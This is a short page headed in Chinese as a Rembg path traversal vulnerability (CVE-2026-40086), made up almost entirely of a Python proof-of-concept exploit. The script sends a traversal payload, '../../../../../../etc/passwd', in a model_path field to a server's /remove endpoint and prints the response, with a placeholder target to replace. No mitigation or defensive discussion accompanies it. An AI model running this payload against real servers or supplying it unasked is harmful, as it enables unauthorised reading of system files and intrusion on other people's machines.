CVE-2026-40086 Rembg路径遍历漏洞

import requests def exploit_rembg(target_url): """ PoC for CVE-2026-40086 Attempts to read a file using path traversal via model_path. """ # The endpoint might vary depending on server configuration endpoint = f"{target_url}/remove" # Path traversal payload to read /etc/passwd (Linux) or win.ini (Windows) # Adjust the number of '../' based on the deployment depth payload = { "model_path": "../../../../../../etc/passwd" } try: response = requests.post(endpoint, data=payload) # The error message often reveals the file content or existence if response.status_code == 200 or response.status_code == 500: print("[+] Request sent successfully.") print("[+] Response (Check for file content/errors):") print(response.text[:500]) except Exception as e: print(f"[-] Error during request: {e}") if __name__ == "__main__": target = "http://localhost:5000" # Replace with actual target exploit_rembg(target)